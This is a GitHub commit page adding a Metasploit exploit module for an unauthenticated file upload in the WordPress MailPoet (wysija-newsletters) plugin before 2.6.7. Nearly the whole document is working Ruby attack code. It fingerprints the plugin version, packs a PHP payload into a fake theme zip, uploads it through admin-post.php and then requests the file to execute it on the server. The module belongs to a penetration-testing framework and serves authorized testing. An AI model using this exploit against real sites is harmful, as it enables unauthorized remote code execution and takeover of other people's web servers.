Skip to content

Commit 2efa3d6

Browse files
committed
Land rapid7#3487, @firefart's exploit for WordPress MailPoet file upload
2 parents f1b7a9f + 97a6b29 commit 2efa3d6

File tree

1 file changed

+135
-0
lines changed

1 file changed

+135
-0
lines changed
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated file Upload',
17+
'Description' => %q{
18+
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.7
19+
is vulnerable to an unauthenticated file upload. The exploits uses the upload Theme
20+
functionality to upload a zip file containing the payload. The plugin used the
21+
admin_init hook without knowning the hook is also executed for unauthenticated
22+
users when calling the right URL.
23+
},
24+
'Author' =>
25+
[
26+
'Marc-Alexandre Montpas', # initial discovery
27+
'Christian Mehlmauer' # metasploit module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ]
33+
],
34+
'Privileged' => false,
35+
'Platform' => ['php'],
36+
'Arch' => ARCH_PHP,
37+
'Targets' => [ ['wysija-newsletters < 2.6.7', {}] ],
38+
'DefaultTarget' => 0,
39+
'DisclosureDate' => 'Jul 1 2014'))
40+
end
41+
42+
def create_zip_file(theme_name, payload_name)
43+
# the zip file must match the following:
44+
# -) Exactly one folder representing the theme name
45+
# -) A style.css in the theme folder
46+
# -) Additional files in the folder
47+
48+
content = {
49+
File.join(theme_name, 'style.css') => '',
50+
File.join(theme_name, payload_name) => payload.encoded
51+
}
52+
53+
zip_file = Rex::Zip::Archive.new
54+
content.each_pair do |name, content|
55+
zip_file.add_file(name, content)
56+
end
57+
58+
zip_file.pack
59+
end
60+
61+
def check
62+
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
63+
res = send_request_cgi({
64+
'uri' => readme_url,
65+
'method' => 'GET'
66+
})
67+
# no readme.txt present
68+
if res.nil? || res.code != 200
69+
return Msf::Exploit::CheckCode::Unknown
70+
end
71+
72+
# try to extract version from readme
73+
# Example line:
74+
# Stable tag: 2.6.6
75+
version = res.body[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
76+
77+
# readme present, but no version number
78+
if version.nil?
79+
return Msf::Exploit::CheckCode::Detected
80+
end
81+
82+
print_status("#{peer} - Found version #{version} of the plugin")
83+
84+
if Gem::Version.new(version) < Gem::Version.new('2.6.7')
85+
return Msf::Exploit::CheckCode::Appears
86+
else
87+
return Msf::Exploit::CheckCode::Safe
88+
end
89+
end
90+
91+
def exploit
92+
theme_name = rand_text_alpha(10)
93+
payload_name = "#{rand_text_alpha(10)}.php"
94+
95+
zip_content = create_zip_file(theme_name, payload_name)
96+
97+
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
98+
99+
data = Rex::MIME::Message.new
100+
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
101+
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
102+
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
103+
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
104+
post_data = data.to_s
105+
106+
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
107+
108+
print_status("#{peer} - Uploading payload to #{payload_uri}")
109+
res = send_request_cgi({
110+
'method' => 'POST',
111+
'uri' => uri,
112+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
113+
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
114+
'data' => post_data
115+
})
116+
117+
if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
118+
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
119+
end
120+
121+
# Files to cleanup (session is dropped in the created folder):
122+
# style.css
123+
# the payload
124+
# the theme folder (manual cleanup)
125+
register_files_for_cleanup('style.css', payload_name)
126+
127+
print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
128+
129+
print_status("#{peer} - Executing payload #{payload_uri}")
130+
res = send_request_cgi({
131+
'uri' => payload_uri,
132+
'method' => 'GET'
133+
})
134+
end
135+
end

0 commit comments

Comments
 (0)